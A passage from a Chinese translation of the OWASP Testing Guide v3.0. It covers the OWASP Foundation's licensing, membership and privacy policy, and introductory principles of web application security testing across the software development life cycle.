息 。 虽 然 OWASP 支 持 使 用 商 业 安 全 技 术 , 但 它 不 隶 属 于 任 何 技 术 公 司 。 类 似 许 多 开 放 源 码 软 件 项 目 , OWASP 以 协<br />

作 、 开 放 的 方 式 创 作 多 种 类 型 的 素 材 。OWASP 基 金 会 是 一 个 确 保 项 目 长 期 成 功 的 非 盈 利 性 实 体 。 欲 了 解 更 多 信 息 ,<br />

请 参 阅 如 下 网 页 链 接 :<br />

• 联 系 : 与 OWASP 沟 通 的 联 系 信 息<br />

• 贡 献 : 详 细 了 解 如 何 作 出 自 己 的 贡 献<br />

• 广 告 : 如 果 你 有 兴 趣 在 OWASP 网 站 上 刊 登 广 告<br />

• OWASP 如 何 运 转 : 详 细 了 解 OWASP 项 目 和 治 理 方 法<br />

• OWASP 品 牌 使 用 规 则 : 了 解 OWASp 品 牌 的 使 用<br />

14


OWASP 测 试 指 南 v3.0<br />

结 构<br />

OWASP 基 金 会 是 为 OWASP 团 体 提 供 基 础 设 施 的 非 营 利 ( 501c3 ) 实 体 。 该 基 金 会 为 OWASP 提 供 服 务 器 和 带 宽 , 促<br />

进 项 目 和 分 会 的 发 展 , 并 管 理 全 球 OWASP 应 用 安 全 会 议 。<br />

许 可 申 请<br />

在 得 到 批 准 的 开 源 license 后 可 以 获 得 所 有 OWASP 素 材 。 如 果 您 选 择 成 为 OWASP 组 织 的 成 员 , 您 也 可 以 使 用 商 业<br />

license。 你 可 以 使 用 一 个 单 一 license 在 你 公 司 内 部 使 用 、 修 改 和 分 发 所 有 OWASP 材 料 。<br />

欲 了 解 更 多 信 息 , 请 参 阅 OWASP 执 照 页 OWASP Licenses。<br />

会 员 参 与<br />

欢 迎 每 一 个 人 参 加 我 们 的 论 坛 、 项 目 、 分 会 和 会 议 。 OWASP 是 一 个 神 奇 的 地 方 , 在 这 里 你 能 够 了 解 到 应 用 安 全 、<br />

网 络 、 甚 至 建 立 作 为 专 家 的 信 誉 。<br />

如 果 您 感 受 到 OWASP 材 料 的 宝 贵 , 请 考 虑 支 持 我 们 的 事 业 并 成 为 OWASP 成 员 。 所 有 接 收 到 的 款 项 将 转 入 OWASP<br />

基 金 会 以 直 接 支 持 OWASP 相 关 项 目 。<br />

欲 了 解 更 多 信 息 , 请 参 阅 会 员 网 页 :Membership<br />

项 目<br />

OWASP 所 开 发 的 项 目 涉 及 应 用 安 全 的 各 个 方 面 。 我 们 建 立 各 类 文 档 、 工 具 、 教 学 环 境 、 指 导 方 针 、 核 对 表 以 及 其 它<br />

材 料 来 帮 助 各 地 的 政 府 和 企 业 改 进 其 生 产 安 全 代 码 的 能 力 。<br />

有 关 所 有 OWASP 项 目 的 详 细 信 息 , 请 参 阅 OWASP 项 目 网 页 :OWASP<br />

Project<br />

OWASP 隐 私 策 略<br />

鉴 于 OWASP 的 使 命 是 改 进 各 类 组 织 的 应 用 安 全 , 作 为 我 们 的 成 员 , 你 有 权 申 请 任 何 收 集 到 的 你 的 个 人 信 息 的 保<br />

护 。<br />

一 般 情 况 下 , 我 们 并 不 要 求 身 份 验 证 或 要 求 用 户 透 露 个 人 信 息 才 能 访 问 我 们 的 网 站 。 我 们 通 过 收 集 访 问 者 的 互 联 网<br />

地 址 而 不 是 电 子 邮 箱 地 址 来 统 计 网 站 的 访 问 流 量 。<br />

我 们 可 能 会 要 求 提 供 部 分 个 人 资 料 , 包 括 下 载 OWASP 产 品 的 个 人 的 姓 名 和 电 子 邮 件 地 址 。 此 信 息 不 泄 露 给 任 何 第<br />

三 方 团 体 而 仅 仅 用 于 以 下 途 径 :<br />

• 及 时 告 知 使 用 者 OWASP 材 料 中 的 紧 急 修 复<br />

15


• 寻 求 OWASP 材 料 的 建 议 和 反 馈 意 见<br />

• 邀 请 参 加 OWASP 的 共 识 进 程 和 AppSec 会 议<br />

OWASP 出 版 的 成 员 组 织 和 个 人 会 员 名 单 纯 属 个 人 意 愿 “ 选 入 ” 的 。 名 单 上 的 成 员 可 以 在 任 何 时 间 要 求 自 己 的 名 字 不<br />

再 出 现 在 名 单 上 。 所 有 您 寄 给 我 们 的 传 真 或 邮 件 中 关 于 您 或 您 组 织 的 信 息 都 是 受 到 物 理 保 护 的 。 如 果 您 有 任 何 问 题<br />

或 疑 虑 , 想 了 解 我 们 的 隐 私 策 略 , 请 与 我 们 联 系 :owasp@owasp.org<br />

16


OWASP 测 试 指 南 v3.0<br />

2. 导 言<br />

OWASP 测 试 项 目 已 经 发 展 了 许 多 年 。 通 过 这 个 项 目 , 我 们 希 望 帮 助 人 们 了 解 自 己 的 Web 应 用 程 序 , 为 什 幺 、 什 幺<br />

时 间 、 什 幺 地 方 、 什 幺 方 法 来 对 WEB 应 用 程 序 进 行 测 试 , 而 不 是 仅 仅 提 供 一 个 简 单 的 漏 洞 检 查 列 表 或 者 问 题 的 简<br />

单 药 方 。 该 项 目 的 输 出 是 一 个 完 整 的 测 试 框 架 , 人 们 可 以 根 据 需 要 建 立 自 己 的 或 符 合 其 它 进 程 的 测 试 程 序 。 测 试 指<br />

南 详 细 的 介 绍 了 一 般 测 试 框 架 以 及 实 践 中 该 框 架 的 实 施 技 术 。<br />

创 作 这 份 测 试 指 南 是 一 项 艰 巨 的 任 务 。 要 获 取 大 家 的 一 致 认 可 同 时 发 展 内 容 是 一 个 极 具 挑 战 的 任 务 。 这 不 仅 需 要 使<br />

人 们 接 受 这 里 所 描 述 的 概 念 , 同 时 使 他 们 能 够 真 正 将 这 些 概 念 应 用 于 自 己 的 环 境 和 文 化 中 。 同 时 , 这 也 是 对 将 目 前<br />

Web 应 用 测 试 重 点 —— 渗 透 测 试 转 变 为 测 试 集 成 于 软 件 开 发 生 命 周 期 过 程 中 的 挑 战 。<br />

然 而 , 我 们 已 经 达 到 非 常 满 意 的 结 果 。 许 多 业 内 专 家 和 世 界 上 一 些 大 型 公 司 的 软 件 安 全 负 责 人 共 同 验 证 了 这 个 测 试<br />

框 架 。 这 个 测 试 框 架 帮 助 各 类 组 织 能 够 有 效 针 对 Web 应 用 程 序 进 行 测 试 以 便 建 立 安 全 可 靠 软 件 , 而 不 是 简 单 地 强<br />

调 脆 弱 点 。 虽 然 后 者 无 疑 是 许 多 OWASP 指 南 和 清 单 的 一 个 副 产 品 。 因 此 , 对 于 某 些 测 试 方 法 和 技 术 , 我 们 作 出 了<br />

艰 难 的 选 择 , 因 为 我 们 都 明 白 并 这 些 方 法 和 技 术 并 不 是 适 用 于 每 一 个 人 。 然 而 , 随 着 时 间 的 推 移 , OWASP 能 够 在 丰<br />

富 的 经 验 和 协 商 一 致 的 基 础 上 通 过 宣 传 和 教 育 达 到 更 高 的 层 次 并 进 行 文 化 变 革 。 本 指 南 其 余 部 分 的 编 排 如 下 : 介 绍<br />

部 分 涉 及 测 试 Web 应 用 程 序 的 先 决 条 件 : 测 试 的 范 围 , 成 功 的 测 试 的 原 则 和 测 试 技 术 。 第 3 章 介 绍 了 OWASP 测 试<br />

框 架 , 并 说 明 与 软 件 开 发 生 命 周 期 各 个 阶 段 有 关 的 技 术 和 任 务 。 第 4 章 涉 及 如 何 对 代 码 的 具 体 脆 弱 性 ( 例 如 , SQL<br />

注 入 ) 进 行 检 查 和 渗 透 测 试 。<br />

安 全 衡 量 : 不 安 全 软 件 带 来 的 经 济 损 失<br />

软 件 工 程 的 基 本 原 则 就 是 你 无 法 控 制 那 些 你 无 法 衡 量 的 [ 1 ] 。 安 全 测 试 也 一 样 。 不 幸 的 是 , 安 全 衡 量 是 一 个 非 常 困<br />

难 的 过 程 。 这 里 我 们 将 不 会 详 细 涉 及 这 一 话 题 , 因 为 它 自 己 提 供 一 个 指 导 ( 详 细 介 绍 请 参 见 [2])<br />

然 而 我 们 需 要 强 调 的 是 , 安 全 衡 量 标 准 是 关 于 具 体 的 技 术 问 题 ( 例 如 , 某 个 漏 洞 是 如 何 普 遍 ) 和 这 些 问 题 给 软 件 带<br />

来 的 经 济 影 响 两 大 方 面 。 我 们 发 现 , 大 多 数 技 术 人 员 至 少 能 够 基 本 理 解 安 全 弱 点 问 题 所 在 , 甚 至 对 安 全 弱 点 有 着 更<br />

深 入 的 了 解 。 但 是 可 悲 的 是 很 少 有 人 能 够 把 这 种 技 术 知 识 转 化 为 货 币 计 算 , 从 而 量 化 应 用 程 序 所 存 在 安 全 漏 洞 给 所<br />

有 者 带 来 的 潜 在 损 失 。 我 们 认 为 直 有 发 生 这 种 情 况 ,CIO 们 才 会 制 定 出 一 个 准 确 的 安 全 投 资 回 报 率 , 并 分 配 适 当 的<br />

软 件 安 全 预 算 。<br />

虽 然 对 不 安 全 软 件 带 来 的 损 失 进 行 估 算 是 一 项 艰 巨 的 任 务 , 然 而 最 近 却 已 经 出 现 了 大 量 此 方 面 的 工 作 方 向 。 例 如 ,<br />

在 2002 年 6 月 , 美 国 国 家 标 准 局 ( NIST ) 发 表 了 一 份 调 查 报 告 : 由 缺 乏 软 件 测 试 而 导 致 的 不 安 全 软 件 给 美 国 经 济<br />

带 来 的 损 失 [ 3 ] 。 有 趣 的 是 , 他 们 估 计 , 更 好 的 测 试 基 础 设 施 将 节 省 三 分 之 一 以 上 的 费 用 , 或 约 220 亿 美 元 一 年 。<br />

最 近 , 学 术 研 究 机 构 也 开 展 了 对 经 济 和 安 全 之 间 联 系 的 研 究 。( 详 细 信 息 请 参 见 [4] 了 解 其 中 的 一 些 努 力 )<br />

本 文 档 中 所 描 述 的 测 试 框 架 鼓 励 人 们 对 整 个 发 展 进 程 进 行 安 全 衡 量 。 人 们 可 以 将 不 安 全 软 件 所 带 来 的 经 济 损 失 与 自<br />

身 业 务 相 联 系 , 从 而 制 定 出 适 当 的 商 业 决 策 ( 资 源 ) 来 进 行 风 险 管 理 。 请 记 住 : Web 应 用 安 全 衡 量 和 测 试 , 甚 至 比<br />

其 它 软 件 更 为 重 要 , 因 为 Web 应 用 程 序 通 过 互 联 网 广 泛 传 播 给 数 以 百 万 计 的 用 户 使 用 。<br />

什 幺 是 测 试<br />

17


我 们 所 说 的 测 试 到 底 是 什 幺 意 思 ? 在 Web 应 用 生 命 循 环 发 展 期 间 , 很 多 内 容 都 需 要 测 试 。Merriam-Webster 字 典 中<br />

对 测 试 的 介 绍 如 下 :<br />

• 进 行 检 测 或 证 明<br />

• 进 行 检 测<br />

• 在 测 试 的 基 础 上 明 确 其 规 格 和 评 估 结 果<br />

在 这 份 文 档 中 , 测 试 指 的 是 将 一 套 系 统 / 应 用 程 序 的 状 况 与 一 系 列 标 准 进 行 对 比 的 过 程 。 在 安 全 界 , 人 们 采 用 的 测 试<br />

标 准 往 往 既 没 有 明 确 的 定 义 没 有 完 整 的 架 构 。 出 于 这 个 原 因 和 其 它 原 因 , 许 多 外 界 人 员 将 安 全 测 试 作 为 一 种 黑 色 艺<br />

术 。 本 文 档 的 目 的 在 于 改 变 传 统 观 念 , 使 人 们 可 以 在 没 有 深 入 的 安 全 知 识 背 景 的 情 况 下 更 加 轻 松 地 测 试 。<br />

为 何 测 试<br />

本 文 档 旨 在 帮 助 各 类 组 织 了 解 测 试 项 目 内 容 , 并 帮 助 他 们 确 定 他 们 需 要 构 建 及 操 作 用 于 测 试 Web 应 用 程 序 的 步<br />

骤 。 它 的 目 的 是 对 全 面 的 WEB 应 用 安 全 计 划 所 需 的 各 种 因 素 有 一 个 全 面 的 了 解 。 本 指 南 可 作 为 参 考 方 法 来 帮 助 您<br />

衡 量 您 现 有 的 做 法 和 行 业 最 佳 做 法 的 差 距 。 本 指 南 允 许 各 组 织 与 其 同 行 进 行 比 较 , 了 解 进 行 软 件 测 试 和 维 护 或 者 进<br />

行 审 计 所 需 资 源 的 规 模 。 本 章 不 对 如 何 测 试 一 个 应 用 程 序 的 技 术 细 节 进 行 详 细 讨 论 , 旨 在 提 供 一 个 典 型 的 安 全 组 织<br />

框 架 。 对 应 用 程 序 进 行 测 试 的 技 术 细 节 , 将 作 为 渗 透 测 试 或 代 码 审 查 部 分 , 将 在 余 下 的 章 节 进 行 详 细 讨 论 。<br />

何 时 测 试<br />

大 多 数 人 都 会 在 软 件 建 立 以 及 进 入 生 命 周 期 中 的 部 署 阶 段 ( 即 代 码 已 创 建 或 已 实 例 化 为 一 个 正 在 工 作 的 Web 应 用<br />

程 序 ) 才 开 始 对 软 件 进 行 测 试 。 这 是 一 种 无 效 的 成 本 高 昂 的 测 试 行 为 。 最 佳 的 方 法 之 一 是 将 安 全 测 试 融 入 到 软 件 开<br />

发 生 命 周 期 每 一 个 阶 段 以 防 止 安 全 漏 洞 的 出 现 。 软 件 开 发 生 命 周 期 是 指 软 件 设 计 的 构 建 块 程 。 如 果 软 件 开 发 生 命 周<br />

期 并 不 适 用 于 你 目 前 正 在 使 用 的 开 发 环 境 , 现 在 正 是 时 候 挑 选 一 个 ! 下 图 显 示 一 个 通 用 软 件 开 发 生 命 周 期 模 型 , 以<br />

及 在 这 样 一 种 模 式 下 修 复 安 全 漏 洞 所 增 加 的 费 用 ( 估 计 数 )。<br />

18


OWASP 测 试 指 南 v3.0<br />

图 1: 通 用 软 件 开 发 生 命 周 期 模 型<br />

软 件 开 发 公 司 应 对 其 总 体 软 件 开 发 生 命 周 期 进 行 检 查 , 确 保 安 全 是 开 发 进 程 中 不 可 分 割 的 一 部 分 。 软 件 开 发 生 命 周<br />

期 应 包 含 安 全 测 试 内 容 以 确 保 在 整 个 开 发 进 程 安 全 被 充 分 涵 盖 并 得 到 有 效 控 制 。<br />

测 试 什 幺<br />

将 软 件 开 发 当 作 是 人 、 过 程 和 技 术 相 结 合 的 整 体 的 想 法 是 有 益 的 。 如 果 这 些 都 是 “ 创 造 ” 软 件 的 因 素 , 那 幺 我 们 认<br />

为 必 须 对 所 有 这 些 因 素 进 行 测 试 。 然 而 目 前 大 多 数 测 试 工 程 师 所 测 试 的 仅 仅 是 技 术 或 软 件 本 身 。<br />

一 个 有 效 的 测 试 计 划 应 包 括 以 下 测 试 部 分 : 人 员 —— 确 保 其 经 历 足 够 的 知 识 水 平 和 意 识 ; 过 程 —— 确 保 有 足 够 的 政<br />

策 和 标 准 , 人 们 知 道 如 何 遵 循 这 些 政 策 ; 技 术 —— 确 保 某 一 进 程 已 经 被 有 效 的 执 行 。 除 非 采 用 这 样 的 整 体 测 试 方<br />

法 , 否 则 只 测 试 应 用 的 技 术 执 行 将 不 能 涵 盖 到 目 前 可 能 存 在 的 管 理 或 运 营 漏 洞 。 通 过 对 人 员 , 策 略 以 及 过 程 进 行 测<br />

试 , 企 业 或 组 织 可 以 提 前 获 知 那 些 后 来 才 会 自 行 凸 现 出 来 的 技 术 缺 陷 , 从 而 能 尽 早 消 除 缺 陷 并 查 明 缺 陷 产 生 的 根<br />

源 。 同 样 , 在 一 个 系 统 之 只 对 一 些 技 术 问 题 进 行 测 试 , 将 导 致 不 完 整 不 准 确 的 安 全 现 状 评 估 。 Fidelity 国 家 金 融 信 息<br />

安 全 负 责 人 Denis Verdon, 在 2004 年 纽 约 举 行 的 OWASP 应 用 安 全 大 会 中 为 这 种 误 解 提 出 了 一 个 很 好 的 比 喻 [5]:<br />

“ 如 果 将 一 辆 汽 车 比 作 一 个 应 用 程 序 …… 那 幺 目 前 的 应 用 安 全 测 试 则 象 征 了 汽 车 的 正 面 碰 撞 测 试 。 汽 车 并 没 有 进 行<br />

翻 滚 测 试 , 或 紧 急 情 况 下 的 稳 定 性 测 试 , 制 动 效 能 测 试 , 侧 面 碰 撞 测 试 以 及 防 窃 措 施 测 试 。<br />

意 见 反 馈<br />

如 同 所 有 的 OWASP 的 项 目 , 我 们 欢 迎 各 界 的 评 论 和 反 馈 。 我 们 特 别 希 望 了 解 到 我 们 的 成 果 正 在 被 使 用 , 以 及 它 非<br />

常 有 效 和 准 确 。<br />

测 试 原 理<br />

对 于 开 发 一 个 剔 除 软 件 安 全 漏 洞 的 测 试 方 法 , 存 在 一 些 常 见 的 误 解 。<br />

本 章 所 涉 及 一 些 基 本 原 则 , 专 业 人 士 在 进 行 软 件 安 全 漏 洞 测 试 时 应 加 以 考 虑 。<br />

没 有 银 弹 (Silver Bullet)<br />

当 你 试 图 思 考 安 全 扫 描 器 或 应 用 防 火 墙 既 不 能 提 供 各 类 攻 击 防 御 和 辨 别 各 类 安 全 问 题 的 时 候 , 实 际 上 不 存 在 一 下 子<br />

就 能 解 决 不 安 全 软 件 问 题 的 方 法 。 应 用 程 序 安 全 评 估 软 件 , 只 能 作 为 发 现 伸 手 就 能 摘 到 的 果 实 的 第 一 张 通 行 证 , 通<br />

常 并 不 能 充 分 覆 盖 到 应 用 的 各 个 层 面 , 从 而 不 能 提 供 成 熟 有 效 的 详 细 评 估 。 切 记 : 安 全 是 一 个 过 程 , 不 是 某 个 产<br />

品 。<br />

战 略 性 思 考 , 而 非 策 略<br />

在 过 去 几 年 中 , 安 全 专 家 已 经 逐 渐 认 识 到 90 年 代 深 入 信 息 安 全 界 的 “ 补 丁 - 渗 透 ” 测 试 模 型 存 在 的 缺 陷 。 该 测 试 模<br />

型 将 提 交 一 个 错 误 报 告 , 但 并 不 会 经 过 适 当 的 调 查 以 明 确 问 题 所 在 的 根 源 。 这 种 测 试 模 型 通 常 与 下 图 中 显 示 的 安 全<br />

漏 洞 相 关 联 。 全 球 通 用 软 件 中 漏 洞 的 演 变 表 明 了 该 测 试 模 型 的 无 效 性 。 欲 了 解 更 多 有 关 安 全 漏 洞 的 信 息 , 请 参 阅 [ 6 ]<br />

。 脆 弱 性 研 究 [7] 显 示 随 着 世 界 范 围 内 的 攻 击 者 的 反 应 时 间 增 快 , 典 型 的 安 全 漏 洞 并 没 有 提 供 足 够 的 时 间 安 装 补 丁 程<br />

序 , 因 为 安 全 漏 洞 的 修 补 与 自 动 攻 击 工 具 的 开 发 之 间 的 时 间 差 在 逐 年 减 少 。 还 有 一 些 对 “ 补 丁 - 渗 透 ” 测 试 模 型 的 错<br />

19


误 猜 想 : 补 丁 干 扰 正 常 运 作 , 并 可 能 破 坏 现 有 的 应 用 程 序 , 并 不 是 所 有 的 用 户 都 能 ( 最 终 ) 意 识 到 了 补 丁 的 可 用<br />

性 。 因 此 并 非 所 有 的 产 品 的 用 户 将 适 用 于 安 装 补 丁 , 或 者 是 由 于 以 上 这 个 问 题 或 者 是 因 为 他 们 对 补 丁 的 存 在 缺 乏 了<br />

解 。<br />

.<br />

图 2: “ 补 丁 - 渗 透 ” 测 试 模 型<br />

为 了 防 止 一 个 应 用 程 序 再 次 发 生 安 全 问 题 , 将 安 全 融 入 到 软 件 开 发 生 命 周 期 ( SDLC) 每 一 个 阶 段 , 并 通 过 制 定 适 合<br />

有 效 的 开 发 方 法 标 准 , 策 略 和 指 导 方 针 是 十 分 必 要 的 。 威 胁 建 模 与 其 它 技 术 应 该 用 来 帮 助 区 分 系 统 中 的 哪 些 部 分 的<br />

特 定 资 源 是 危 险 的 。<br />

SDLC 才 是 王 道<br />

软 件 开 发 生 命 周 期 是 每 一 个 开 发 人 员 都 非 常 了 解 的 一 个 过 程 。 通 过 将 安 全 的 概 念 纳 入 到 软 件 开 发 生 命 周 期 中 的 各 个<br />

阶 段 , 可 以 对 应 用 安 全 采 用 综 合 方 法 以 实 现 该 组 织 内 各 程 序 的 平 衡 。 不 同 阶 段 的 名 称 可 能 会 根 据 各 组 织 所 采 用 的<br />

SDLC 模 型 的 改 变 而 改 变 , 每 一 个 原 始 SDLC 的 概 念 阶 段 都 将 被 用 来 开 发 应 用 ( 例 如 , 定 义 , 设 计 , 开 发 , 部 署 , 维<br />

护 )。 每 个 阶 段 的 安 全 考 虑 都 应 当 成 为 现 行 进 程 的 一 部 分 , 以 确 保 安 全 计 划 全 面 有 效 。<br />

及 早 测 试 、 频 繁 测 试<br />

漏 洞 及 早 在 软 件 开 发 生 命 周 期 中 被 查 出 , 它 可 以 迅 速 被 修 补 并 花 费 较 低 的 成 本 。 在 这 里 , 安 全 漏 洞 可 被 等 价 看 作 一<br />

个 功 能 或 基 于 性 能 的 漏 洞 。 实 现 这 个 目 标 最 关 键 的 一 步 在 于 教 育 开 发 部 门 和 QA 部 门 关 于 常 见 的 安 全 问 题 以 及 发 现<br />

和 防 范 的 方 法 。 虽 然 最 新 的 图 书 、 工 具 或 者 语 言 也 许 帮 助 设 计 更 好 的 计 划 ( 产 生 少 量 的 漏 洞 ), 然 而 新 的 威 胁 频 繁 出<br />

现 , 它 们 的 开 发 者 必 须 认 识 到 这 些 新 威 胁 对 他 们 所 开 发 的 软 件 所 带 来 的 影 响 。 安 全 测 试 的 教 育 将 帮 助 开 发 者 从 攻 击<br />

者 的 渗 透 行 为 中 获 取 适 用 的 应 用 程 序 测 试 思 路 。 每 个 企 业 或 组 织 都 应 将 安 全 问 题 作 为 他 们 现 有 的 责 任 的 一 部 分 。<br />

理 解 安 全 的 范 围<br />

20


OWASP 测 试 指 南 v3.0<br />

了 解 项 目 所 需 的 安 全 范 围 非 常 重 要 。 需 要 被 保 护 的 资 料 和 资 产 应 予 以 分 类 以 明 确 它 们 应 该 被 如 何 处 理 ( 例 如 , 保 密<br />

(Confidential), 秘 密 (Secret), 绝 密 (Top Secret))。 应 就 此 事 项 与 法 律 委 员 会 共 同 讨 论 , 以 确 保 任 何 特 定 的 安 全 需 求<br />

都 能 够 得 到 满 足 。 在 美 国 , 像 Gramn- Leach - Bliley 法 案 [8] 这 样 的 联 邦 法 案 , 如 美 国 加 州 SB-1386[9] 这 样 的 州 级 法 律<br />

都 有 相 关 的 要 求 。 对 欧 盟 国 家 的 组 织 或 企 业 而 言 , 国 家 具 体 法 规 和 欧 盟 指 引 都 适 用 。 例 如 , 96/46/EC4 指 引 [10] 强 制<br />

要 求 , 凡 是 涉 及 个 人 数 据 处 理 的 应 用 应 予 以 适 当 保 护 , 而 不 论 该 应 用 是 什 幺 。<br />

树 立 正 确 的 思 想<br />

成 功 地 测 试 一 个 应 用 程 序 的 安 全 漏 洞 需 要 超 越 性 的 思 维 。 在 正 常 模 式 下 对 应 用 程 序 的 正 常 行 为 进 行 测 试 仅 仅 适 用 于<br />

用 户 按 照 你 所 预 期 的 规 则 来 使 用 应 用 程 序 。 然 后 , 良 好 的 安 全 测 试 需 要 超 越 你 的 期 望 并 像 那 些 试 图 破 坏 该 应 用 程 序<br />

的 攻 击 者 一 样 思 考 。 创 新 思 想 能 够 帮 助 你 了 解 到 在 不 安 全 的 使 用 方 式 下 哪 些 意 想 不 到 的 数 据 可 能 会 导 致 应 用 失 败 。<br />

它 还 可 以 帮 你 发 现 网 络 开 发 人 员 所 做 那 些 的 假 设 往 往 并 非 总 是 正 确 的 , 同 时 了 解 它 们 如 何 能 被 破 坏 殆 尽 。 这 就 是 为<br />

什 幺 自 动 化 测 试 工 具 在 自 动 进 行 漏 洞 检 测 时 所 带 来 的 局 限 性 : 这 种 创 造 性 的 思 维 的 建 立 必 须 根 据 案 例 不 同 而 不 同 ,<br />

同 时 大 多 数 Web 应 用 程 序 都 采 取 其 独 特 的 方 式 进 行 开 发 的 ( 即 使 他 们 使 用 普 遍 的 框 架 )。<br />

认 识 测 试 主 体<br />

一 个 良 好 的 安 全 计 划 中 的 第 一 个 非 常 重 要 的 步 骤 就 是 在 对 应 用 程 序 进 行 了 解 并 准 确 地 记 录 下 来 。 其 结 构 , 数 据 流 程<br />

图 , 使 用 情 况 等 , 都 应 记 录 为 正 式 的 书 面 文 件 并 使 其 适 于 审 查 。 技 术 规 格 和 申 请 文 件 应 不 仅 包 括 允 许 使 用 的 情 况 ,<br />

同 时 应 包 括 下 不 允 许 使 用 的 特 殊 情 况 。 最 后 , 至 少 有 一 个 基 本 的 安 全 设 施 是 件 好 事 , 可 以 实 时 监 测 并 应 对 针 对 组 织<br />

或 企 业 的 应 用 及 网 络 所 发 起 的 攻 击 ( 例 如 , 入 侵 检 测 系 统 )。<br />

使 用 合 适 的 工 具<br />

虽 然 我 们 已 经 说 过 没 有 万 能 工 具 , 但 是 工 具 在 总 体 安 全 计 划 中 确 实 发 挥 重 要 的 作 用 。 有 一 系 列 的 开 源 工 具 和 商 业 工<br />

具 , 可 以 自 动 完 成 许 多 例 行 的 安 全 工 作 。 这 些 工 具 可 以 协 助 安 全 人 员 简 化 和 加 快 安 全 任 务 进 程 。 最 重 要 的 是 理 解 这<br />

些 工 具 能 做 什 幺 不 能 做 什 幺 以 防 止 他 们 过 量 销 售 和 使 用 不 当 。<br />

难 在 细 节<br />

至 关 重 要 的 是 不 要 执 行 表 面 的 应 用 安 全 检 查 并 认 为 这 样 就 使 完 成 了 检 测 任 务 。 这 将 导 致 一 种 安 全 假 象 , 这 与 不 做 安<br />

全 检 查 一 样 危 险 。 仔 细 审 核 检 测 结 果 并 剔 除 检 测 报 告 中 可 能 存 在 的 错 误 是 很 重 要 的 。 安 全 检 测 结 果 的 不 准 确 性 往 往<br />

也 破 坏 了 安 全 报 告 其 余 部 分 的 有 效 信 息 。 应 当 注 意 , 确 认 一 切 可 能 的 应 用 逻 辑 部 分 都 已 经 过 测 试 , 并 对 每 种 使 用 情<br />

况 都 进 行 了 漏 洞 检 测 。<br />

适 当 情 况 下 请 使 用 源 代 码<br />

虽 然 黑 盒 渗 透 测 试 的 结 果 对 说 明 产 品 中 所 暴 露 的 弱 点 十 分 形 象 有 效 , 但 是 它 们 并 不 是 确 保 应 用 安 全 最 为 有 效 的 方<br />

式 。 在 适 当 的 情 况 下 , 程 序 的 源 代 码 应 考 虑 移 交 给 安 全 人 员 以 协 助 他 们 在 履 行 其 测 试 工 作 。 通 过 这 种 方 式 可 能 发 现<br />

黑 盒 渗 透 测 试 无 法 发 现 的 应 用 漏 洞 。<br />

开 发 指 标<br />

21


一 个 良 好 的 安 全 计 划 的 重 要 组 成 部 分 就 是 确 定 事 情 是 否 能 够 好 转 的 能 力 。 跟 踪 测 试 约 定 结 果 以 及 开 发 指 标 十 分 重<br />

要 , 这 些 指 标 能 显 示 组 织 或 企 业 内 的 应 用 程 序 的 安 全 趋 势 。 这 些 指 标 可 是 显 示 是 否 需 要 更 多 的 教 育 和 培 训 , 是 否 存<br />

在 一 个 对 开 发 没 有 明 确 理 解 的 特 殊 的 安 全 机 制 , 或 发 现 与 安 全 有 关 的 问 题 总 数 是 否 每 个 月 正 在 下 降 。 从 现 有 的 源 代<br />

码 中 可 以 自 动 产 生 连 贯 的 数 据 , 将 有 助 于 增 强 该 组 织 或 企 业 在 评 估 机 制 中 减 少 软 件 开 发 过 程 中 的 安 全 漏 洞 的 有 效<br />

性 。 指 标 的 建 立 并 不 容 易 , 因 此 使 用 OWASP 指 标 项 目 以 及 其 它 标 准 组 织 所 提 供 的 标 准 指 标 将 是 一 个 良 好 的 开 端<br />

对 测 试 结 果 进 行 文 档 记 录<br />

为 完 成 测 试 过 程 , 产 生 一 个 正 式 的 报 告 以 记 录 谁 、 什 幺 时 间 、 采 取 了 什 幺 测 试 行 为 、 以 及 详 细 的 测 试 结 果 是 非 常 重<br />

要 的 。 明 智 的 做 法 是 通 过 商 定 一 个 所 有 相 关 方 面 , 包 括 开 发 者 , 项 目 管 理 部 门 , 企 业 所 有 者 , IT 部 门 , 审 计 部 门 和<br />

执 行 部 门 都 可 以 接 受 的 报 告 模 式 。 该 报 告 必 须 清 楚 地 为 企 业 所 有 者 指 出 存 在 脆 弱 点 , 以 支 持 他 们 以 后 的 漏 洞 排 查 行<br />

为 。 该 报 告 必 须 清 楚 地 为 开 发 人 员 明 确 指 出 脆 弱 点 所 带 来 的 影 响 , 并 附 以 开 发 人 员 可 理 解 的 解 决 方 案 ( 没 有 双 关 语<br />

意 ) 。 最 后 , 安 全 测 试 工 程 师 的 报 告 写 作 不 应 过 于 繁 琐 , 安 全 测 试 工 程 师 一 般 并 不 具 有 非 常 出 色 的 创 作 技 巧 , 因<br />

此 , 商 定 一 项 复 杂 的 检 测 报 告 可 能 会 导 致 测 试 结 果 并 不 能 真 实 地 反 应 于 报 告 中 。<br />

测 试 技 术 解 释<br />

该 部 分 提 出 可 用 于 创 建 测 试 工 程 的 各 类 高 级 测 试 技 术 。 这 里 针 对 这 些 技 术 的 具 体 实 现 方 法 并 没 有 进 行 详 细 讨 论 , 详<br />

情 可 参 见 第 3 章 。 该 部 分 旨 在 为 下 个 章 节 所 提 出 的 测 试 框 架 提 供 上 下 文 并 突 出 某 些 技 术 在 选 择 使 用 时 应 考 虑 的 优 点<br />

以 及 缺 点 。 特 别 包 括 :<br />

• 人 工 检 查 及 复 查 (Manual Inspections & Reviews)<br />

• 软 件 威 胁 建 模 (Thread Modeling)<br />

• 代 码 复 查 (Code Review)<br />

• 渗 透 测 试 (Penetration Testing)<br />

人 工 检 查 及 复 查<br />

概 要<br />

人 工 检 查 是 安 全 测 试 过 程 中 , 通 过 人 工 检 查 或 者 审 核 的 方 式 对 应 用 开 发 过 程 中 的 人 , 策 略 和 进 程 , 包 括 技 术 决 策 如<br />

开 发 模 型 设 计 进 行 安 全 检 测 。 人 工 检 查 通 常 采 取 文 件 分 析 或 对 设 计 师 或 系 统 的 所 有 者 进 行 访 谈 的 方 式 进 行 。 虽 然 人<br />

工 检 查 和 人 员 访 谈 这 个 概 念 十 分 简 单 , 但 是 它 们 确 是 最 强 大 的 和 有 效 的 可 用 技 术 。 通 过 询 问 别 人 这 件 事 如 何 运 行 ,<br />

为 什 幺 采 用 当 前 的 运 行 模 式 , 能 够 帮 助 测 试 者 快 速 确 定 是 否 存 在 显 而 易 见 的 安 全 问 题 。 人 工 检 查 及 复 查 是 在 软 件 开<br />

发 生 命 周 期 过 程 中 对 软 件 进 行 测 试 并 确 保 其 充 分 的 策 略 和 技 能 的 为 数 不 多 的 途 径 之 一 。 正 如 生 活 中 的 许 多 事 情 , 当<br />

